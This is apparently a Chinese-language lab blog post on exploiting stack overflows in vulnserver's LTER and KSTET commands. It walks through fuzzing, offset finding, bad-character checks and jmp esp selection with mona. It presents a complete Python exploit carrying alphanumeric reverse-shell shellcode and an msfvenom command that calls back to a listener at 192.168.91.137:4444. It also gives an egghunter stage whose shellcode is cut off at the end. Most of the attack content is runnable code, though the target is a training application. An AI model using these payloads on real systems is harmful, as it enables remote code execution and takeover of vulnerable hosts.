0%

本次实验讨论在Win10 21h2 x86系统下关闭DEP。继续分析vulnserver LTER命令的栈溢出。先看一下通过逆向可以获取的信息,挑重点的看。

先来看看下面这个条件分支:

BOF

注意cmp byte ptr [eax],0这条指令,获取eax中最高位的8位(小端序)与0之间做比较,如果大于0,则SF赋值为1,如果小于等于0,则SF赋值为0。如果SF0,则JNS指令为真,产生跳转;如果SF1,则JNS指令为假,不跳转。后续分支的两部分代码,差别在sub al,7Fh,这里可以知道如果eax的值大于7Fh,则会被减去7Fh再存入[edx]中,相当于对eax的值做了一个简单的变换。实际上,就是存入的字符只能是ASCII码,这在后续badarray确定,shellcode编写都很重要。

继续看:

BOF

这里会判断输入字符串长度是否大于等于1000h,如果大于等于会发生跳转,因为跳转的地方与漏洞利用的点不相关,在这里省略。主要看下面这部分:

BOF

这里会对输入的每个字符让其和2Eh进行比较,如果相等会跳转到如下部分:

注意看其中的_Function3,跟进看一下:

发现存在_strcpy函数,这是不安全的函数,会造成栈溢出。至此,漏洞的触发基本搞清楚了。

触发异常的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

PAYLOAD = (
b'LTER /.:/' +
b'A' * 3000
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

这里有点意思,如果发送3000A的时候,触发的是一般的栈溢出漏洞,如果发送5000A的时候,栈溢出的时候会触发SEH。如下所示:(第一个图为3000A时的异常,第二个图为5000A时的异常)

BOF

BOF

先来看看普通的栈溢出,获取offset

BOF

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

PAYLOAD = (
b'LTER /.:/' +
b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9'
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

BOF

可以知道,offset2003

接下来确定坏字符:

BOF

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999
OFFSET = 2003
badchar = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchar += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchar += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchar += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchar += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchar += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchar += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchar += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"



PAYLOAD = (
b'LTER /.:/' +
badchar +
b'A' * (2003-len(badchar)) +
b'\xde\xad\xbe\xef' +
b'B' * (3000-2003)
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

查看eax

BOF

发现坏字符仅为:\x00

在寻找offset的时候,发送完产生的随机字符后,可以使用以下命令:

1
!py mona suggest -t tcpclient:9999

来看建议的exploit编写,这个命令其实就是自动运行findmsp

BOF

从上面我们可以知道,offset2003jmp esp0x625011af,覆盖之后还剩的空间大小为993byte

考虑只能传入ASCII码,不然会被修改掉。所以在查找合适的jmp esp的时候,需要稍微修改一下命令:

1
!py mona jmp -r esp -cp ascii

.BOF

我们选择0x62501203地址所在的jmp esp

还有一点,我们需要注意生成的shellcode,与之前生成的有一些不同。

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444  -e x86/alpha_mixed BUFFERREGISTER=esp EXITFUNC=thread -f python -v shellcode -b '\x00'

这里,关于生成shellcode的命令中BUFFERREGISTER参数,有一个解释,参考最后的参考。

最终,利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.91.142'
PORT = 9999

shellcode = b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x69"
shellcode += b"\x78\x6e\x62\x57\x70\x33\x30\x75\x50\x53\x50"
shellcode += b"\x6b\x39\x5a\x45\x44\x71\x6f\x30\x50\x64\x4c"
shellcode += b"\x4b\x62\x70\x30\x30\x6e\x6b\x36\x32\x34\x4c"
shellcode += b"\x4e\x6b\x53\x62\x66\x74\x4e\x6b\x30\x72\x37"
shellcode += b"\x58\x44\x4f\x6e\x57\x52\x6a\x31\x36\x65\x61"
shellcode += b"\x59\x6f\x6c\x6c\x65\x6c\x31\x71\x31\x6c\x64"
shellcode += b"\x42\x44\x6c\x67\x50\x69\x51\x58\x4f\x46\x6d"
shellcode += b"\x36\x61\x4a\x67\x6a\x42\x48\x72\x73\x62\x30"
shellcode += b"\x57\x6c\x4b\x52\x72\x76\x70\x4c\x4b\x33\x7a"
shellcode += b"\x67\x4c\x4c\x4b\x42\x6c\x37\x61\x53\x48\x49"
shellcode += b"\x73\x50\x48\x77\x71\x7a\x71\x53\x61\x4e\x6b"
shellcode += b"\x46\x39\x57\x50\x37\x71\x4a\x73\x4e\x6b\x31"
shellcode += b"\x59\x52\x38\x39\x73\x35\x6a\x67\x39\x4e\x6b"
shellcode += b"\x64\x74\x4c\x4b\x33\x31\x48\x56\x76\x51\x79"
shellcode += b"\x6f\x4c\x6c\x6a\x61\x38\x4f\x56\x6d\x37\x71"
shellcode += b"\x4a\x67\x35\x68\x79\x70\x71\x65\x78\x76\x53"
shellcode += b"\x33\x71\x6d\x6c\x38\x57\x4b\x31\x6d\x35\x74"
shellcode += b"\x52\x55\x78\x64\x51\x48\x4e\x6b\x53\x68\x65"
shellcode += b"\x74\x76\x61\x6b\x63\x32\x46\x4c\x4b\x44\x4c"
shellcode += b"\x62\x6b\x4e\x6b\x36\x38\x47\x6c\x63\x31\x6e"
shellcode += b"\x33\x4c\x4b\x75\x54\x4e\x6b\x77\x71\x7a\x70"
shellcode += b"\x6e\x69\x30\x44\x66\x44\x74\x64\x73\x6b\x61"
shellcode += b"\x4b\x63\x51\x42\x79\x33\x6a\x72\x71\x59\x6f"
shellcode += b"\x59\x70\x53\x6f\x31\x4f\x53\x6a\x4c\x4b\x74"
shellcode += b"\x52\x5a\x4b\x6c\x4d\x71\x4d\x75\x38\x36\x53"
shellcode += b"\x30\x32\x65\x50\x63\x30\x53\x58\x34\x37\x64"
shellcode += b"\x33\x64\x72\x73\x6f\x43\x64\x73\x58\x52\x6c"
shellcode += b"\x74\x37\x76\x46\x65\x57\x39\x6f\x48\x55\x6e"
shellcode += b"\x58\x6c\x50\x33\x31\x57\x70\x67\x70\x46\x49"
shellcode += b"\x6a\x64\x46\x34\x36\x30\x32\x48\x37\x59\x4b"
shellcode += b"\x30\x70\x6b\x63\x30\x69\x6f\x79\x45\x46\x30"
shellcode += b"\x76\x30\x46\x30\x66\x30\x77\x30\x32\x70\x77"
shellcode += b"\x30\x30\x50\x35\x38\x6a\x4a\x34\x4f\x69\x4f"
shellcode += b"\x4b\x50\x4b\x4f\x4a\x75\x5a\x37\x61\x7a\x64"
shellcode += b"\x45\x63\x58\x49\x50\x59\x38\x63\x6b\x4d\x59"
shellcode += b"\x43\x58\x33\x32\x43\x30\x42\x31\x61\x4c\x4b"
shellcode += b"\x39\x59\x76\x51\x7a\x44\x50\x42\x76\x61\x47"
shellcode += b"\x53\x58\x6f\x69\x59\x35\x64\x34\x30\x61\x69"
shellcode += b"\x6f\x49\x45\x4e\x65\x4f\x30\x74\x34\x76\x6c"
shellcode += b"\x4b\x4f\x62\x6e\x57\x78\x70\x75\x6a\x4c\x30"
shellcode += b"\x68\x6a\x50\x4f\x45\x4e\x42\x56\x36\x69\x6f"
shellcode += b"\x4e\x35\x61\x78\x42\x43\x52\x4d\x35\x34\x33"
shellcode += b"\x30\x4c\x49\x49\x73\x62\x77\x63\x67\x32\x77"
shellcode += b"\x64\x71\x4b\x46\x71\x7a\x75\x42\x66\x39\x53"
shellcode += b"\x66\x48\x62\x49\x6d\x42\x46\x79\x57\x61\x54"
shellcode += b"\x64\x64\x57\x4c\x35\x51\x67\x71\x6e\x6d\x67"
shellcode += b"\x34\x76\x44\x56\x70\x38\x46\x35\x50\x53\x74"
shellcode += b"\x70\x54\x76\x30\x56\x36\x70\x56\x43\x66\x70"
shellcode += b"\x46\x76\x36\x50\x4e\x63\x66\x66\x36\x71\x43"
shellcode += b"\x43\x66\x53\x58\x53\x49\x68\x4c\x55\x6f\x6e"
shellcode += b"\x66\x59\x6f\x49\x45\x4f\x79\x4b\x50\x62\x6e"
shellcode += b"\x71\x46\x50\x46\x79\x6f\x70\x30\x33\x58\x67"
shellcode += b"\x78\x4f\x77\x45\x4d\x43\x50\x6b\x4f\x39\x45"
shellcode += b"\x4d\x6b\x49\x70\x57\x6d\x66\x4a\x64\x4a\x51"
shellcode += b"\x78\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x69\x6f"
shellcode += b"\x48\x55\x55\x6c\x55\x56\x43\x4c\x47\x7a\x6d"
shellcode += b"\x50\x39\x6b\x4d\x30\x42\x55\x57\x75\x4f\x4b"
shellcode += b"\x70\x47\x77\x63\x31\x62\x72\x4f\x70\x6a\x35"
shellcode += b"\x50\x42\x73\x4b\x4f\x69\x45\x41\x41"


JMP = struct.pack("<L", 0x62501203)

PAYLOAD = (
b'LTER /.:/' +
b'A' * 2003 +
JMP +
shellcode +
b'B' * (3000-2003-4-len(shellcode))
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

成功反弹shell

BOF

参考:

1.https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

2.https://epi052.gitlab.io/notes-to-self/blog/2020-05-24-osce-exam-practice-part-eight/

3.https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/

4.http://www.c-jump.com/CIS77/ASM/DataTypes/T77_0270_sext_example_movsx.htm

接之前的分析文章,在crash程序的时候,如果发送的A为5000,会触发SEH,试一下SEH+Egghunter的组合对Vulnserver LTER的利用。

比较复杂,后续填坑!!!

参考:

1.https://epi052.gitlab.io/notes-to-self/blog/2020-05-25-osce-exam-practice-part-nine/

2.https://www.ins1gn1a.com/automated-egghunter-and-shellcode-carving-with-woollymammoth

3.https://keramas.github.io/2018/10/14/non-alphanumeric-characters-in-my.html

4.https://h0mbre.github.io/LTER_SEH_Success/#

5.https://www.pyt3ra.com/2020/05/seh-based-buffer-overflow-with.html

本次实验讨论在Win10 21h2 x86系统下关闭DEP,利用egghunter完成,因为空间大小问题,最终的利用代码会涉及到多个stage

先来看一下IDAKSTET的大致处理流程,挑重点的看:

egghunter

注意其中的_Function2,跟进看一下:

egghunter

发现调用的是_strcpy函数,这是一个不安全的函数,会导致栈溢出。

换一种fuzz方式,比之前采用的SPIKE Fuzz好一些。在这里:boofuzz

借用别人的fuzz代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3
from boofuzz import *
import argparse

def test_connection(target, logger, session, *args, **kwargs):
try:
banner = target.recv(1024)
except:
exit(1)

def main(ip,port,cmd):
session = Session(
sleep_time=1,
target=Target(
connection=SocketConnection(ip, port, proto='tcp')
),
)
s_initialize(name="Request")
with s_block("exploit"):
s_static(cmd.upper())
s_delim(" ",fuzzable=False)
s_string("FUZZ",fuzzable=True)
s_delim("\r\n",fuzzable=False)
session.connect(s_get("Request"), callback=test_connection)
session.fuzz()


if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--host', required=True)
parser.add_argument('--port', required=True, type=int)
parser.add_argument('--cmd',required=True)
args = parser.parse_args()
main(args.host,args.port,args.cmd)

看一下crash时候的结果:

egghunter

注意看标红的,说是前一个包导致的crash,也就是128bytes,后来验证其实100bytes也能导致crash。个人感觉前后两个包在后续都需要单独确认一下,验证较小的包能否导致crash。下图是发送100A字符导致crash

egghunter

寻找offset,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import struct
import socket

VULNSRVR_CMD = b"KSTET " # change me
CRASH_LEN = 100 # change me
OFFSET = 0 # change me

target = ("192.168.13.204", 9999) # vulnserver

payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"

# Then use the structure below to confirm the offset
# payload += b"A" * OFFSET
# payload += b"B" * 4
# payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...

sent = sock.send(payload)
print(f"sent {sent} bytes")

EIP被覆盖为63413363,获取offset70,如下图所示:

egghunter

在寻找坏字符,这里因为空间不够,可以将坏字符集分成多个部分,每部分测试一遍。也可以利用mona中的compare来进行坏字符的判别。

1
2
3
4
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

执行上述命令的时候,如果bytearray.txtbytearray.bin文件无法写入,那是因为权限不够,需要将windbg以管理员权限打开。我这里已经转存:
egghunter

代码里体现如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk_one = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
chunk_one += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
chunk_one += b"\x41\x42\x43\x44\x45\x46"

chunk_two = b"\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66"
chunk_two += b"\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
chunk_two += b"\x87\x88\x89\x8a\x8b\x8c"

chunk_three = b"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac"
chunk_three += b"\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc"
chunk_three += b"\xcd\xce\xcf\xd0\xd1\xd2"

chunk_four = b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
chunk_four += b"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

现在来看一下查找坏字符的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import struct
import socket

VULNSRVR_CMD = b"KSTET " # change me
CRASH_LEN = 100 # change me
OFFSET = 70 # change me

target = ("192.168.13.138", 9999) # vulnserver

chunk_one = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
chunk_one += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
chunk_one += b"\x41\x42\x43\x44\x45\x46"

chunk_two = b"\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66"
chunk_two += b"\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
chunk_two += b"\x87\x88\x89\x8a\x8b\x8c"

chunk_three = b"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac"
chunk_three += b"\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc"
chunk_three += b"\xcd\xce\xcf\xd0\xd1\xd2"

chunk_four = b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
chunk_four += b"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = VULNSRVR_CMD
payload += chunk_one
payload += b"A" * (OFFSET-len(chunk_one))
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...

sent = sock.send(payload)
print(f"sent {sent} bytes")

注意看windbgcrash现场,发现eax+0x06指向chunk_one的开始部分:

egghunter

来看mona自己比较的结果:

egghunter

注意看标红的部分,这里显示没有坏字符,后续几个操作就不做了。最后发现除了\x00没有其他坏字符。有个地方注意,如果找到坏字符,后续还需要删除掉坏字符重新操作来一遍。

到目前为止,你会发现栈空间不足,没法放置shellcode。这里可以参照之前GTER Egghunter相关文章,发两次包,一次发shellcode,一次发egghunter payloadegghunter payload能够在内存中找到shellcode。所以,目前需要关注的点是如何放置egghunter payload,以及如何跳转到egghunter payload所在位置。借用前一篇文章生成标准的egghunter payload

egghunter

在查看坏字符的时候,我们知道eax+0x06正好指向测试字符串的开始部分,所以add eax,0x06;jmp eax正好可以跳转到测试字符串的开始,看下这两条指令的机器码:

egghunter

现在把egghunter payload放在这里,这样就可以直接跳转到egghunter payload的开始了。eip让其指向essfunc.dll中某个jmp esp即可。

命令如下:

1
!py mona jmp -r esp

egghunter

结合以上分析,最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import socket
import struct

HOST = '192.168.13.138'
PORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"

shellcode = b"w00tw00t"
shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17"
shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde"
shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82"
shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab"
shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63"
